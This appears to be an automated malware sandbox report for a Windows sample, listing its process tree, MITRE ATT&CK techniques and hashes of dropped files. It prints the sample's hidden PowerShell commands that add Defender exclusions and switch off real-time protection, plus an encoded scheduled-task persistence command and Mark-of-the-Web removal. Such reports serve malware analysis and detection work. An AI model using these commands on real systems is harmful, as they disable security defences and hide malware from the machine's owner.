- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue;Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "try{$p=\"HKCU:\Software\Microsoft\Windows Defender\Exclusions\Paths\";if(!(Test-Path $p)){New-Item -Path $p -Force|Out-Null};New-ItemProperty -Path $p -Name \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\" -Value 0 -PropertyType DWORD -Force|Out-Null}catch{}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxNaWNyb3NvZnRcXEVkZ2VVcGRhdGUiLCJDOlxcVXNlcnNcXEFkbWluXFxEb3dubG9hZHMiKTtmb3JlYWNoKCRwIGluICRlKXt0cnl7QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAkcCAtRUEgMH1jYXRjaHt9fQ==" /sc minute /mo 5 /f /rl LIMITED"
  2⤵
  PID:2436
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFxBZG1pblxcQXBwRGF0YVxcTG9jYWxcXE1pY3Jvc29mdFxcRWRnZVVwZGF0ZSIsIkM6XFxVc2Vyc1xcQWRtaW5cXEFwcERhdGFcXExvY2FsXFxNaWNyb3NvZnRcXEVkZ2VVcGRhdGUiLCJDOlxcVXNlcnNcXEFkbWluXFxEb3dubG9hZHMiKTtmb3JlYWNoKCRwIGluICRlKXt0cnl7QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAkcCAtRUEgMH1jYXRjaHt9fQ==" /sc minute /mo 5 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1888

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:1948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 5032" /nh 2>nul"
  2⤵
  PID:4152
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 5032" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:2236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:32
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:4280

C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe
C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:1472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 5032" /nh 2>nul"
  2⤵
  PID:220
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 5032" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:5068
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:3964

C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe
C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe
1⤵
- Executes dropped EXE
- Subvert Trust Controls: Mark-of-the-Web Bypass
- NTFS ADS
PID:1028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /fi "PID eq 5032" /nh 2>nul"
  2⤵
  PID:1620
- - C:\Windows\system32\tasklist.exe
    tasklist /fi "PID eq 5032" /nh
    3⤵
    - Enumerates processes with tasklist
    PID:2372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier\" 2>nul""
  2⤵
  PID:2452
- - C:\Windows\system32\cmd.exe
    cmd /c "del /f /q \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier\" 2>nul"
    3⤵
    PID:4796

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

Clear Persistence

T1070.009

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 7c6c09f48f03421430d707d27632810414e5e2bf2eecd5eb675fecf8b45a9a92
MD5 22e796539d05c5390c21787da1fb4c2b
SHA1 55320ebdedd3069b2aaf1a258462600d9ef53a58
SHA512 d9cc0cb22df56db72a71504bb3ebc36697e0a7a1d2869e0e0ab61349bda603298fe6c667737b79bf2235314fb49b883ba4c5f137d002e273e79391038ecf9c09
TLSH
T15061DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

MicrosoftEdgeUpdate.exe:Zone.Identifier

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier
Size 26B
SHA256 1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33
MD5 cb9db8b13f2e7d1ae122b5b6c2381b25
SHA1 ea06df82dba8cc567e95c43e6214872e52fdb05b
SHA512 937778c5cd8c35ec2a0811856214ad95446b14f91c306632117e9bc79740b5baa57c2051ba21765acbf0fced496ca547a08b8bdda85d8c8b700a44826a602ed0
MD5 SHA1 SHA512

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 eac79146599354ee6c44e0af03ab76f049305db0c500b3e143b8d220b4efecf3
MD5 ed24abb252577d8393acaedebc2762ff
SHA1 d962fee8afd1133f66e0c4748687eaaa40afc2e7
SHA512 169a6d9616a22c44866f31ce3423e6bee0242389e80c7b22082f2ae89bc47be25beb6e5046867618a4b25b71f9f577194cc3d1e364dc46821d33a89fa9dc0203
SSDEEP 1536:KflJd+h4iUxTYkzvd5fKQOUpeE711kDa5ljNC+jH0IMjMFYoe9V3CNBQkj2QOdBT:KflJd+qiUTYkzvd5fKQOUpeE711kDa5S
TLSH
T15C538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download